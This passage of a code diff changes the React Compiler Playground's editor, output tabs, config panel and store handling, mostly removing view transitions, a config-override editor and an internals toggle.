addTransitionType(CONFIG_PANEL_TRANSITION);
setIsExpanded(false);
});
}}
formattedAppliedConfig={formattedAppliedConfig}
/>
</div>
<div
style={{
display: !isExpanded ? 'block' : 'none',
}}>
{/* </Activity>
<Activity mode={isExpanded ? 'hidden' : 'visible'}></Activity> */}
<CollapsedEditor
onToggle={() => {
startTransition(() => {
addTransitionType(CONFIG_PANEL_TRANSITION);
setIsExpanded(true);
});
}}
/>
</div>
{/* </Activity> */}
</>
);
}
function ExpandedEditor({
onToggle,
formattedAppliedConfig,
}: {
onToggle: (expanded: boolean) => void;
formattedAppliedConfig: string;
}): React.ReactElement {
const store = useStore();
const dispatchStore = useStoreDispatch();
const debounceTimerRef = useRef<NodeJS.Timeout | null>(null);
const handleChange: (value: string | undefined) => void = (
value: string | undefined,
) => {
if (value === undefined) return;
if (debounceTimerRef.current) {
clearTimeout(debounceTimerRef.current);
}
debounceTimerRef.current = setTimeout(() => {
dispatchStore({
type: 'updateConfig',
payload: {
config: value,
},
});
}, 500); // 500ms debounce delay
};
const handleMount: (
_: editor.IStandaloneCodeEditor,
monaco: Monaco,
) => void = (_, monaco) => {
// Enable comments in JSON for JSON5-style config
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
allowComments: true,
trailingCommas: 'ignore',
});
};
return (
<ViewTransition
update={{[CONFIG_PANEL_TRANSITION]: 'slide-in', default: 'none'}}>
{/* enter={{[CONFIG_PANEL_TRANSITION]: 'slide-in', default: 'none'}}
exit={{[CONFIG_PANEL_TRANSITION]: 'slide-out', default: 'none'}}> */}
<Resizable
minWidth={300}
maxWidth={600}
defaultSize={{width: 350}}
enable={{right: true, bottom: false}}>
<div className="bg-blue-10 relative h-full flex flex-col !h-[calc(100vh_-_3.5rem)] border border-gray-300">
<div
className="absolute w-8 h-16 bg-blue-10 rounded-r-full flex items-center justify-center z-[2] cursor-pointer border border-l-0 border-gray-300"
title="Minimize config editor"
onClick={onToggle}
style={{
top: '50%',
marginTop: '-32px',
right: '-32px',
borderTopLeftRadius: 0,
borderBottomLeftRadius: 0,
}}>
<IconChevron displayDirection="left" className="text-blue-50" />
</div>
<div className="flex-1 flex flex-col m-2 mb-2">
<div className="pb-2">
<h2 className="inline-block text-blue-50 py-1.5 px-1.5 xs:px-3 sm:px-4 text-sm">
Config Overrides
</h2>
</div>
<div className="flex-1 border border-gray-300">
<MonacoEditor
path={'config.json5'}
language={'json'}
value={store.config}
onMount={handleMount}
onChange={handleChange}
loading={''}
className="monaco-editor-config"
options={monacoConfigOptions}
/>
</div>
</div>
<div className="flex-1 flex flex-col m-2">
<div className="pb-2">
<h2 className="inline-block text-blue-50 py-1.5 px-1.5 xs:px-3 sm:px-4 text-sm">
Applied Configs
</h2>
</div>
<div className="flex-1 border border-gray-300">
<MonacoEditor
path={'applied-config.js'}
language={'javascript'}
value={formattedAppliedConfig}
loading={''}
className="monaco-editor-applied-config"
options={{
...monacoConfigOptions,
readOnly: true,
}}
/>
</div>
</div>
</div>
</Resizable>
</ViewTransition>
);
}
function CollapsedEditor({
onToggle,
}: {
onToggle: () => void;
}): React.ReactElement {
return (
<div
className="w-4 !h-[calc(100vh_-_3.5rem)]"
style={{position: 'relative'}}>
<div
className="absolute w-10 h-16 bg-blue-10 hover:translate-x-2 transition-transform rounded-r-full flex items-center justify-center z-[2] cursor-pointer border border-gray-300"
title="Expand config editor"
onClick={onToggle}
style={{
top: '50%',
marginTop: '-32px',
left: '-8px',
borderTopLeftRadius: 0,
borderBottomLeftRadius: 0,
}}>
<IconChevron displayDirection="right" className="text-blue-50" />
</div>
</div>
);
}

View File

@@ -5,63 +5,289 @@
* LICENSE file in the root directory of this source tree.
*/
import {
import {parse as babelParse, ParseResult} from '@babel/parser';
import * as HermesParser from 'hermes-parser';
import * as t from '@babel/types';
import BabelPluginReactCompiler, {
CompilerError,
CompilerErrorDetail,
CompilerDiagnostic,
Effect,
ErrorSeverity,
parseConfigPragmaForTests,
ValueKind,
type Hook,
PluginOptions,
CompilerPipelineValue,
parsePluginOptions,
printReactiveFunctionWithOutlined,
printFunctionWithOutlined,
} from 'babel-plugin-react-compiler';
import {useDeferredValue, useMemo, useState} from 'react';
import {useStore} from '../StoreContext';
import ConfigEditor from './ConfigEditor';
import clsx from 'clsx';
import invariant from 'invariant';
import {useSnackbar} from 'notistack';
import {useDeferredValue, useMemo} from 'react';
import {useMountEffect} from '../../hooks';
import {defaultStore} from '../../lib/defaultStore';
import {
createMessage,
initStoreFromUrlOrLocalStorage,
MessageLevel,
MessageSource,
type Store,
} from '../../lib/stores';
import {useStore, useStoreDispatch} from '../StoreContext';
import Input from './Input';
import {CompilerOutput, default as Output} from './Output';
import {compile} from '../../lib/compilation';
import prettyFormat from 'pretty-format';
import {
CompilerOutput,
CompilerTransformOutput,
default as Output,
PrintedCompilerPipelineValue,
} from './Output';
import {transformFromAstSync} from '@babel/core';
function parseInput(
input: string,
language: 'flow' | 'typescript',
): ParseResult<t.File> {
// Extract the first line to quickly check for custom test directives
if (language === 'flow') {
return HermesParser.parse(input, {
babel: true,
flow: 'all',
sourceType: 'module',
enableExperimentalComponentSyntax: true,
});
} else {
return babelParse(input, {
plugins: ['typescript', 'jsx'],
sourceType: 'module',
}) as ParseResult<t.File>;
}
}
function invokeCompiler(
source: string,
language: 'flow' | 'typescript',
options: PluginOptions,
): CompilerTransformOutput {
const ast = parseInput(source, language);
let result = transformFromAstSync(ast, source, {
filename: '_playgroundFile.js',
highlightCode: false,
retainLines: true,
plugins: [[BabelPluginReactCompiler, options]],
ast: true,
sourceType: 'module',
configFile: false,
sourceMaps: true,
babelrc: false,
});
if (result?.ast == null || result?.code == null || result?.map == null) {
throw new Error('Expected successful compilation');
}
return {
code: result.code,
sourceMaps: result.map,
language,
};
}
const COMMON_HOOKS: Array<[string, Hook]> = [
[
'useFragment',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'usePaginationFragment',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'useRefetchableFragment',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'useLazyLoadQuery',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
[
'usePreloadedQuery',
{
valueKind: ValueKind.Frozen,
effectKind: Effect.Freeze,
noAlias: true,
transitiveMixedData: true,
},
],
];
function compile(source: string): [CompilerOutput, 'flow' | 'typescript'] {
const results = new Map<string, Array<PrintedCompilerPipelineValue>>();
const error = new CompilerError();
const upsert: (result: PrintedCompilerPipelineValue) => void = result => {
const entry = results.get(result.name);
if (Array.isArray(entry)) {
entry.push(result);
} else {
results.set(result.name, [result]);
}
};
let language: 'flow' | 'typescript';
if (source.match(/\@flow/)) {
language = 'flow';
} else {
language = 'typescript';
}
let transformOutput;
try {
// Extract the first line to quickly check for custom test directives
const pragma = source.substring(0, source.indexOf('\n'));
const logIR = (result: CompilerPipelineValue): void => {
switch (result.kind) {
case 'ast': {
break;
}
case 'hir': {
upsert({
kind: 'hir',
fnName: result.value.id,
name: result.name,
value: printFunctionWithOutlined(result.value),
});
break;
}
case 'reactive': {
upsert({
kind: 'reactive',
fnName: result.value.id,
name: result.name,
value: printReactiveFunctionWithOutlined(result.value),
});
break;
}
case 'debug': {
upsert({
kind: 'debug',
fnName: null,
name: result.name,
value: result.value,
});
break;
}
default: {
const _: never = result;
throw new Error(`Unhandled result ${result}`);
}
}
};
const parsedOptions = parseConfigPragmaForTests(pragma, {
compilationMode: 'infer',
});
const opts: PluginOptions = parsePluginOptions({
...parsedOptions,
environment: {
...parsedOptions.environment,
customHooks: new Map([...COMMON_HOOKS]),
},
logger: {
debugLogIRs: logIR,
logEvent: () => {},
},
});
transformOutput = invokeCompiler(source, language, opts);
} catch (err) {
/**
* error might be an invariant violation or other runtime error
* (i.e. object shape that is not CompilerError)
*/
if (err instanceof CompilerError && err.details.length > 0) {
error.details.push(...err.details);
} else {
/**
* Handle unexpected failures by logging (to get a stack trace)
* and reporting
*/
console.error(err);
error.details.push(
new CompilerErrorDetail({
severity: ErrorSeverity.Invariant,
reason: `Unexpected failure when transforming input! ${err}`,
loc: null,
suggestions: null,
}),
);
}
}
if (error.hasErrors()) {
return [{kind: 'err', results, error: error}, language];
}
return [{kind: 'ok', results, transformOutput}, language];
}
export default function Editor(): JSX.Element {
const store = useStore();
const deferredStore = useDeferredValue(store);
const [compilerOutput, language, appliedOptions] = useMemo(
() => compile(deferredStore.source, 'compiler', deferredStore.config),
[deferredStore.source, deferredStore.config],
const dispatchStore = useStoreDispatch();
const {enqueueSnackbar} = useSnackbar();
const [compilerOutput, language] = useMemo(
() => compile(deferredStore.source),
[deferredStore.source],
);
const [linterOutput] = useMemo(
() => compile(deferredStore.source, 'linter', deferredStore.config),
[deferredStore.source, deferredStore.config],
);
const [formattedAppliedConfig, setFormattedAppliedConfig] = useState('');
let mergedOutput: CompilerOutput;
let errors: Array<CompilerErrorDetail | CompilerDiagnostic>;
if (compilerOutput.kind === 'ok') {
errors = linterOutput.kind === 'ok' ? [] : linterOutput.error.details;
mergedOutput = {
...compilerOutput,
errors,
};
} else {
mergedOutput = compilerOutput;
errors = compilerOutput.error.details;
}
if (appliedOptions) {
const formatted = prettyFormat(appliedOptions, {
printFunctionName: false,
printBasicPrototype: false,
});
if (formatted !== formattedAppliedConfig) {
setFormattedAppliedConfig(formatted);
useMountEffect(() => {
let mountStore: Store;
try {
mountStore = initStoreFromUrlOrLocalStorage();
} catch (e) {
invariant(e instanceof Error, 'Only Error may be caught.');
enqueueSnackbar(e.message, {
variant: 'warning',
...createMessage(
'Bad URL - fell back to the default Playground.',
MessageLevel.Info,
MessageSource.Playground,
),
});
mountStore = defaultStore;
}
}
dispatchStore({
type: 'setStore',
payload: {store: mountStore},
});
});
return (
<>
<div className="relative flex top-14">
<div className="flex-shrink-0">
<ConfigEditor formattedAppliedConfig={formattedAppliedConfig} />
<div className="relative flex basis top-14">
<div className={clsx('relative sm:basis-1/4')}>
<Input
language={language}
errors={
compilerOutput.kind === 'err' ? compilerOutput.error.details : []
}
/>
</div>
<div className="flex flex-1 min-w-0">
<Input language={language} errors={errors} />
<Output store={deferredStore} compilerOutput={mergedOutput} />
<div className={clsx('flex sm:flex flex-wrap')}>
<Output store={deferredStore} compilerOutput={compilerOutput} />
</div>
</div>
</>

View File

@@ -6,31 +6,22 @@
*/
import MonacoEditor, {loader, type Monaco} from '@monaco-editor/react';
import {
CompilerErrorDetail,
CompilerDiagnostic,
} from 'babel-plugin-react-compiler';
import {CompilerErrorDetail} from 'babel-plugin-react-compiler';
import invariant from 'invariant';
import type {editor} from 'monaco-editor';
import * as monaco from 'monaco-editor';
import {
useEffect,
useState,
unstable_ViewTransition as ViewTransition,
} from 'react';
import {Resizable} from 're-resizable';
import {useEffect, useState} from 'react';
import {renderReactCompilerMarkers} from '../../lib/reactCompilerMonacoDiagnostics';
import {useStore, useStoreDispatch} from '../StoreContext';
import TabbedWindow from '../TabbedWindow';
import {monacoOptions} from './monacoOptions';
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
// @ts-expect-error TODO: Make TS recognize .d.ts files, in addition to loading them with webpack.
import React$Types from '../../node_modules/@types/react/index.d.ts';
loader.config({monaco});
type Props = {
errors: Array<CompilerErrorDetail | CompilerDiagnostic>;
errors: Array<CompilerErrorDetail>;
language: 'flow' | 'typescript';
};
@@ -45,13 +36,13 @@ export default function Input({errors, language}: Props): JSX.Element {
const uri = monaco.Uri.parse(`file:///index.js`);
const model = monaco.editor.getModel(uri);
invariant(model, 'Model must exist for the selected input file.');
renderReactCompilerMarkers({
monaco,
model,
details: errors,
source: store.source,
});
}, [monaco, errors, store.source]);
renderReactCompilerMarkers({monaco, model, details: errors});
/**
* N.B. that `tabSize` is a model property, not an editor property.
* So, the tab size has to be set per model.
*/
model.updateOptions({tabSize: 2});
}, [monaco, errors]);
useEffect(() => {
/**
@@ -83,11 +74,11 @@ export default function Input({errors, language}: Props): JSX.Element {
});
}, [monaco, language]);
const handleChange: (value: string | undefined) => void = async value => {
const handleChange: (value: string | undefined) => void = value => {
if (!value) return;
dispatchStore({
type: 'updateSource',
type: 'updateFile',
payload: {
source: value,
},
@@ -139,42 +130,30 @@ export default function Input({errors, language}: Props): JSX.Element {
});
};
const editorContent = (
<MonacoEditor
path={'index.js'}
/**
* .js and .jsx files are specified to be TS so that Monaco can actually
* check their syntax using its TS language service. They are still JS files
* due to their extensions, so TS language features don't work.
*/
language={'javascript'}
value={store.source}
onMount={handleMount}
onChange={handleChange}
className="monaco-editor-input"
options={monacoOptions}
loading={''}
/>
);
const tabs = new Map([['Input', editorContent]]);
const [activeTab, setActiveTab] = useState('Input');
return (
<ViewTransition
update={{
[CONFIG_PANEL_TRANSITION]: 'container',
default: 'none',
}}>
<div className="flex-1 min-w-[550px] sm:min-w-0">
<div className="flex flex-col h-full !h-[calc(100vh_-_3.5rem)] border-r border-gray-200">
<TabbedWindow
tabs={tabs}
activeTab={activeTab}
onTabChange={setActiveTab}
/>
</div>
</div>
</ViewTransition>
<div className="relative flex flex-col flex-none border-r border-gray-200">
<Resizable
minWidth={650}
enable={{right: true}}
/**
* Restrict MonacoEditor's height, since the config autoLayout:true
* will grow the editor to fit within parent element
*/
className="!h-[calc(100vh_-_3.5rem)]">
<MonacoEditor
path={'index.js'}
/**
* .js and .jsx files are specified to be TS so that Monaco can actually
* check their syntax using its TS language service. They are still JS files
* due to their extensions, so TS language features don't work.
*/
language={'javascript'}
value={store.source}
onMount={handleMount}
onChange={handleChange}
options={monacoOptions}
/>
</Resizable>
</div>
);
}

View File

@@ -11,46 +11,19 @@ import {
InformationCircleIcon,
} from '@heroicons/react/outline';
import MonacoEditor, {DiffEditor} from '@monaco-editor/react';
import {
CompilerErrorDetail,
CompilerDiagnostic,
type CompilerError,
} from 'babel-plugin-react-compiler';
import {type CompilerError} from 'babel-plugin-react-compiler';
import parserBabel from 'prettier/plugins/babel';
import * as prettierPluginEstree from 'prettier/plugins/estree';
import * as prettier from 'prettier/standalone';
import {memo, ReactNode, useEffect, useState} from 'react';
import {type Store} from '../../lib/stores';
import {
memo,
ReactNode,
use,
useState,
Suspense,
unstable_ViewTransition as ViewTransition,
unstable_addTransitionType as addTransitionType,
startTransition,
} from 'react';
import AccordionWindow from '../AccordionWindow';
import TabbedWindow from '../TabbedWindow';
import {monacoOptions} from './monacoOptions';
import {BabelFileResult} from '@babel/core';
import {
CONFIG_PANEL_TRANSITION,
TOGGLE_INTERNALS_TRANSITION,
EXPAND_ACCORDION_TRANSITION,
} from '../../lib/transitionTypes';
import {LRUCache} from 'lru-cache';
const MemoizedOutput = memo(Output);
export default MemoizedOutput;
export const BASIC_OUTPUT_TAB_NAMES = ['Output', 'SourceMap'];
const tabifyCache = new LRUCache<Store, Promise<Map<string, ReactNode>>>({
max: 5,
});
export type PrintedCompilerPipelineValue =
| {
kind: 'hir';
@@ -71,7 +44,6 @@ export type CompilerOutput =
kind: 'ok';
transformOutput: CompilerTransformOutput;
results: Map<string, Array<PrintedCompilerPipelineValue>>;
errors: Array<CompilerErrorDetail | CompilerDiagnostic>;
}
| {
kind: 'err';
@@ -87,16 +59,12 @@ type Props = {
async function tabify(
source: string,
compilerOutput: CompilerOutput,
showInternals: boolean,
): Promise<Map<string, ReactNode>> {
const tabs = new Map<string, React.ReactNode>();
const reorderedTabs = new Map<string, React.ReactNode>();
const concattedResults = new Map<string, string>();
// Concat all top level function declaration results into a single tab for each pass
for (const [passName, results] of compilerOutput.results) {
if (!showInternals && !BASIC_OUTPUT_TAB_NAMES.includes(passName)) {
continue;
}
for (const result of results) {
switch (result.kind) {
case 'hir': {
@@ -155,36 +123,10 @@ async function tabify(
parser: transformOutput.language === 'flow' ? 'babel-flow' : 'babel-ts',
plugins: [parserBabel, prettierPluginEstree],
});
let output: string;
let language: string;
if (compilerOutput.errors.length === 0) {
output = code;
language = 'javascript';
} else {
language = 'markdown';
output = `
# Summary
React Compiler compiled this function successfully, but there are lint errors that indicate potential issues with the original code.
## ${compilerOutput.errors.length} Lint Errors
${compilerOutput.errors.map(e => e.printErrorMessage(source, {eslint: false})).join('\n\n')}
## Output
\`\`\`js
${code}
\`\`\`
`.trim();
}
reorderedTabs.set(
'Output',
'JS',
<TextTabContent
output={output}
language={language}
output={code}
diff={null}
showInfoPanel={false}></TextTabContent>,
);
@@ -200,18 +142,6 @@ ${code}
</>,
);
}
} else if (compilerOutput.kind === 'err') {
const errors = compilerOutput.error.printErrorMessage(source, {
eslint: false,
});
reorderedTabs.set(
'Output',
<TextTabContent
output={errors}
language="markdown"
diff={null}
showInfoPanel={false}></TextTabContent>,
);
}
tabs.forEach((tab, name) => {
reorderedTabs.set(name, tab);
@@ -219,25 +149,6 @@ ${code}
return reorderedTabs;
}
function tabifyCached(
store: Store,
compilerOutput: CompilerOutput,
): Promise<Map<string, ReactNode>> {
const cached = tabifyCache.get(store);
if (cached) return cached;
const result = tabify(store.source, compilerOutput, store.showInternals);
tabifyCache.set(store, result);
return result;
}
function Fallback(): JSX.Element {
return (
<div className="w-full h-monaco_small sm:h-monaco flex items-center justify-center">
Loading...
</div>
);
}
function utf16ToUTF8(s: string): string {
return unescape(encodeURIComponent(s));
}
@@ -251,40 +162,17 @@ function getSourceMapUrl(code: string, map: string): string | null {
}
function Output({store, compilerOutput}: Props): JSX.Element {
return (
<Suspense fallback={<Fallback />}>
<OutputContent store={store} compilerOutput={compilerOutput} />
</Suspense>
const [tabsOpen, setTabsOpen] = useState<Set<string>>(() => new Set(['JS']));
const [tabs, setTabs] = useState<Map<string, React.ReactNode>>(
() => new Map(),
);
}
useEffect(() => {
tabify(store.source, compilerOutput).then(tabs => {
setTabs(tabs);
});
}, [store.source, compilerOutput]);
function OutputContent({store, compilerOutput}: Props): JSX.Element {
const [tabsOpen, setTabsOpen] = useState<Set<string>>(
() => new Set(['Output']),
);
const [activeTab, setActiveTab] = useState<string>('Output');
/*
* Update the active tab back to the output or errors tab when the compilation state
* changes between success/failure.
*/
const [previousOutputKind, setPreviousOutputKind] = useState(
compilerOutput.kind,
);
const isFailure = compilerOutput.kind !== 'ok';
if (compilerOutput.kind !== previousOutputKind) {
setPreviousOutputKind(compilerOutput.kind);
if (isFailure) {
startTransition(() => {
addTransitionType(EXPAND_ACCORDION_TRANSITION);
setTabsOpen(prev => new Set(prev).add('Output'));
setActiveTab('Output');
});
}
}
const changedPasses: Set<string> = new Set(['Output', 'HIR']); // Initial and final passes should always be bold
const changedPasses: Set<string> = new Set(['JS', 'HIR']); // Initial and final passes should always be bold
let lastResult: string = '';
for (const [passName, results] of compilerOutput.results) {
for (const result of results) {
@@ -298,40 +186,31 @@ function OutputContent({store, compilerOutput}: Props): JSX.Element {
lastResult = currResult;
}
}
const tabs = use(tabifyCached(store, compilerOutput));
if (!store.showInternals) {
return (
<ViewTransition
update={{
[CONFIG_PANEL_TRANSITION]: 'container',
[TOGGLE_INTERNALS_TRANSITION]: '',
default: 'none',
}}>
<TabbedWindow
tabs={tabs}
activeTab={activeTab}
onTabChange={setActiveTab}
/>
</ViewTransition>
);
}
return (
<ViewTransition
update={{
[CONFIG_PANEL_TRANSITION]: 'accordion-container',
[TOGGLE_INTERNALS_TRANSITION]: '',
default: 'none',
}}>
<AccordionWindow
defaultTab={store.showInternals ? 'HIR' : 'Output'}
<>
<TabbedWindow
defaultTab="HIR"
setTabsOpen={setTabsOpen}
tabsOpen={tabsOpen}
tabs={tabs}
changedPasses={changedPasses}
/>
</ViewTransition>
{compilerOutput.kind === 'err' ? (
<div
className="flex flex-wrap absolute bottom-0 bg-white grow border-y border-grey-200 transition-all ease-in"
style={{width: 'calc(100vw - 650px)'}}>
<div className="w-full p-4 basis-full border-b">
<h2>COMPILER ERRORS</h2>
</div>
<pre
className="p-4 basis-full text-red-600 overflow-y-scroll whitespace-pre-wrap"
style={{width: 'calc(100vw - 650px)', height: '150px'}}>
<code>{compilerOutput.error.toString()}</code>
</pre>
</div>
) : null}
</>
);
}
@@ -339,12 +218,10 @@ function TextTabContent({
output,
diff,
showInfoPanel,
language,
}: {
output: string;
diff: string | null;
showInfoPanel: boolean;
language: string;
}): JSX.Element {
const [diffMode, setDiffMode] = useState(false);
return (
@@ -383,29 +260,20 @@ function TextTabContent({
<DiffEditor
original={diff}
modified={output}
loading={''}
options={{
...monacoOptions,
scrollbar: {
vertical: 'hidden',
},
dimension: {
width: 0,
height: 0,
},
readOnly: true,
lineNumbers: 'off',
glyphMargin: false,
// Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882
overviewRulerLanes: 0,
lineDecorationsWidth: 0,
lineNumbersMinChars: 0,
}}
/>
) : (
<MonacoEditor
language={language ?? 'javascript'}
defaultLanguage="javascript"
value={output}
loading={''}
className="monaco-editor-output"
options={{
...monacoOptions,
readOnly: true,

View File

@@ -28,18 +28,5 @@ export const monacoOptions: Partial<EditorProps['options']> = {
automaticLayout: true,
wordWrap: 'on',
wrappingIndent: 'same',
tabSize: 2,
};
export const monacoConfigOptions: Partial<EditorProps['options']> = {
...monacoOptions,
lineNumbers: 'off',
renderLineHighlight: 'none',
overviewRulerBorder: false,
overviewRulerLanes: 0,
fontSize: 12,
scrollBeyondLastLine: false,
glyphMargin: false,
wrappingIndent: 'deepIndent',
};

View File

@@ -10,20 +10,14 @@ import {CheckIcon} from '@heroicons/react/solid';
import clsx from 'clsx';
import Link from 'next/link';
import {useSnackbar} from 'notistack';
import {
useState,
startTransition,
unstable_addTransitionType as addTransitionType,
} from 'react';
import {useState} from 'react';
import {defaultStore} from '../lib/defaultStore';
import {IconGitHub} from './Icons/IconGitHub';
import Logo from './Logo';
import {useStore, useStoreDispatch} from './StoreContext';
import {TOGGLE_INTERNALS_TRANSITION} from '../lib/transitionTypes';
import {useStoreDispatch} from './StoreContext';
export default function Header(): JSX.Element {
const [showCheck, setShowCheck] = useState(false);
const store = useStore();
const dispatchStore = useStoreDispatch();
const {enqueueSnackbar, closeSnackbar} = useSnackbar();
@@ -62,32 +56,6 @@ export default function Header(): JSX.Element {
<p className="hidden select-none sm:block">React Compiler Playground</p>
</div>
<div className="flex items-center text-[15px] gap-4">
<div className="flex items-center gap-2">
<label className="show-internals relative inline-block w-[34px] h-5">
<input
type="checkbox"
checked={store.showInternals}
onChange={() =>
startTransition(() => {
addTransitionType(TOGGLE_INTERNALS_TRANSITION);
dispatchStore({type: 'toggleInternals'});
})
}
className="absolute opacity-0 cursor-pointer h-full w-full m-0"
/>
<span
className={clsx(
'absolute inset-0 rounded-full cursor-pointer transition-all duration-250',
"before:content-[''] before:absolute before:w-4 before:h-4 before:left-0.5 before:bottom-0.5",
'before:bg-white before:rounded-full before:transition-transform before:duration-250',
'focus-within:shadow-[0_0_1px_#2196F3]',
store.showInternals
? 'bg-link before:translate-x-3.5'
: 'bg-gray-300',
)}></span>
</label>
<span className="text-secondary">Show Internals</span>
</div>
<button
title="Reset Playground"
aria-label="Reset Playground"

View File

@@ -1,41 +0,0 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import {memo} from 'react';
export const IconChevron = memo<
JSX.IntrinsicElements['svg'] & {
/**
* The direction the arrow should point.
*/
displayDirection: 'right' | 'left';
}
>(function IconChevron({className, displayDirection, ...props}) {
const rotationClass =
displayDirection === 'left' ? 'rotate-90' : '-rotate-90';
const classes = className ? `${rotationClass} ${className}` : rotationClass;
return (
<svg
className={classes}
xmlns="http://www.w3.org/2000/svg"
width="20"
height="20"
viewBox="0 0 20 20"
{...props}>
<g fill="none" fillRule="evenodd" transform="translate(-446 -398)">
<path
fill="currentColor"
fillRule="nonzero"
d="M95.8838835,240.366117 C95.3957281,239.877961 94.6042719,239.877961 94.1161165,240.366117 C93.6279612,240.854272 93.6279612,241.645728 94.1161165,242.133883 L98.6161165,246.633883 C99.1042719,247.122039 99.8957281,247.122039 100.383883,246.633883 L104.883883,242.133883 C105.372039,241.645728 105.372039,240.854272 104.883883,240.366117 C104.395728,239.877961 103.604272,239.877961 103.116117,240.366117 L99.5,243.982233 L95.8838835,240.366117 Z"
transform="translate(356.5 164.5)"
/>
<polygon points="446 418 466 418 466 398 446 398" />
</g>
</svg>
);
});

View File

@@ -6,14 +6,10 @@
*/
import type {Dispatch, ReactNode} from 'react';
import {useState, useEffect, useReducer} from 'react';
import {useEffect, useReducer} from 'react';
import createContext from '../lib/createContext';
import {emptyStore, defaultStore} from '../lib/defaultStore';
import {
saveStore,
initStoreFromUrlOrLocalStorage,
type Store,
} from '../lib/stores';
import {emptyStore} from '../lib/defaultStore';
import {saveStore, type Store} from '../lib/stores';
const StoreContext = createContext<Store>();
@@ -34,20 +30,6 @@ export const useStoreDispatch = StoreDispatchContext.useContext;
*/
export function StoreProvider({children}: {children: ReactNode}): JSX.Element {
const [store, dispatch] = useReducer(storeReducer, emptyStore);
const [isPageReady, setIsPageReady] = useState<boolean>(false);
useEffect(() => {
let mountStore: Store;
try {
mountStore = initStoreFromUrlOrLocalStorage();
} catch (e) {
console.error('Failed to initialize store from URL or local storage', e);
mountStore = defaultStore;
}
dispatch({type: 'setStore', payload: {store: mountStore}});
setIsPageReady(true);
}, []);
useEffect(() => {
if (store !== emptyStore) {
saveStore(store);
@@ -57,7 +39,7 @@ export function StoreProvider({children}: {children: ReactNode}): JSX.Element {
return (
<StoreContext.Provider value={store}>
<StoreDispatchContext.Provider value={dispatch}>
{isPageReady ? children : null}
{children}
</StoreDispatchContext.Provider>
</StoreContext.Provider>
);
@@ -71,19 +53,10 @@ type ReducerAction =
};
}
| {
type: 'updateSource';
type: 'updateFile';
payload: {
source: string;
};
}
| {
type: 'updateConfig';
payload: {
config: string;
};
}
| {
type: 'toggleInternals';
};
function storeReducer(store: Store, action: ReducerAction): Store {
@@ -92,28 +65,13 @@ function storeReducer(store: Store, action: ReducerAction): Store {
const newStore = action.payload.store;
return newStore;
}
case 'updateSource': {
const source = action.payload.source;
case 'updateFile': {
const {source} = action.payload;
const newStore = {
...store,
source,
};
return newStore;
}
case 'updateConfig': {
const config = action.payload.config;
const newStore = {
...store,
config,
};
return newStore;
}
case 'toggleInternals': {
const newStore = {
...store,
showInternals: !store.showInternals,
};
return newStore;
}
}
}

View File

@@ -4,78 +4,103 @@
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import React, {
startTransition,
useId,
unstable_ViewTransition as ViewTransition,
unstable_addTransitionType as addTransitionType,
} from 'react';
import clsx from 'clsx';
import {TOGGLE_TAB_TRANSITION} from '../lib/transitionTypes';
export default function TabbedWindow({
tabs,
activeTab,
onTabChange,
}: {
tabs: Map<string, React.ReactNode>;
activeTab: string;
onTabChange: (tab: string) => void;
import {Resizable} from 're-resizable';
import React, {useCallback} from 'react';
type TabsRecord = Map<string, React.ReactNode>;
export default function TabbedWindow(props: {
defaultTab: string | null;
tabs: TabsRecord;
tabsOpen: Set<string>;
setTabsOpen: (newTab: Set<string>) => void;
changedPasses: Set<string>;
}): React.ReactElement {
const id = useId();
const transitionName = `tab-highlight-${id}`;
const handleTabChange = (tab: string): void => {
startTransition(() => {
addTransitionType(TOGGLE_TAB_TRANSITION);
onTabChange(tab);
});
};
return (
<div className="flex-1 min-w-[550px] sm:min-w-0">
<div className="flex flex-col h-full max-w-full">
<div className="flex p-2 flex-shrink-0">
{Array.from(tabs.keys()).map(tab => {
const isActive = activeTab === tab;
return (
<button
key={tab}
onClick={() => handleTabChange(tab)}
className={clsx(
'transition-transform py-1.5 px-1.5 xs:px-3 sm:px-4 rounded-full text-sm relative',
isActive ? 'text-link' : 'hover:bg-primary/5',
)}>
{isActive && (
<ViewTransition
name={transitionName}
enter={{default: 'none'}}
exit={{default: 'none'}}
share={{
[TOGGLE_TAB_TRANSITION]: 'tab-highlight',
default: 'none',
}}
update={{default: 'none'}}>
<div className="absolute inset-0 bg-highlight rounded-full" />
</ViewTransition>
)}
<ViewTransition
enter={{default: 'none'}}
exit={{default: 'none'}}
update={{
[TOGGLE_TAB_TRANSITION]: 'tab-text',
default: 'none',
}}>
<span className="relative z-1">{tab}</span>
</ViewTransition>
</button>
);
})}
</div>
<div className="flex-1 overflow-hidden w-full h-full">
{tabs.get(activeTab)}
</div>
if (props.tabs.size === 0) {
return (
<div
className="flex items-center justify-center"
style={{width: 'calc(100vw - 650px)'}}>
No compiler output detected, see errors below
</div>
);
}
return (
<div className="flex flex-row">
{Array.from(props.tabs.keys()).map(name => {
return (
<TabbedWindowItem
name={name}
key={name}
tabs={props.tabs}
tabsOpen={props.tabsOpen}
setTabsOpen={props.setTabsOpen}
hasChanged={props.changedPasses.has(name)}
/>
);
})}
</div>
);
}
function TabbedWindowItem({
name,
tabs,
tabsOpen,
setTabsOpen,
hasChanged,
}: {
name: string;
tabs: TabsRecord;
tabsOpen: Set<string>;
setTabsOpen: (newTab: Set<string>) => void;
hasChanged: boolean;
}): React.ReactElement {
const isShow = tabsOpen.has(name);
const toggleTabs = useCallback(() => {
const nextState = new Set(tabsOpen);
if (nextState.has(name)) {
nextState.delete(name);
} else {
nextState.add(name);
}
setTabsOpen(nextState);
}, [tabsOpen, name, setTabsOpen]);
// Replace spaces with non-breaking spaces
const displayName = name.replace(/ /g, '\u00A0');
return (
<div key={name} className="flex flex-row">
{isShow ? (
<Resizable className="border-r" minWidth={550} enable={{right: true}}>
<h2
title="Minimize tab"
aria-label="Minimize tab"
onClick={toggleTabs}
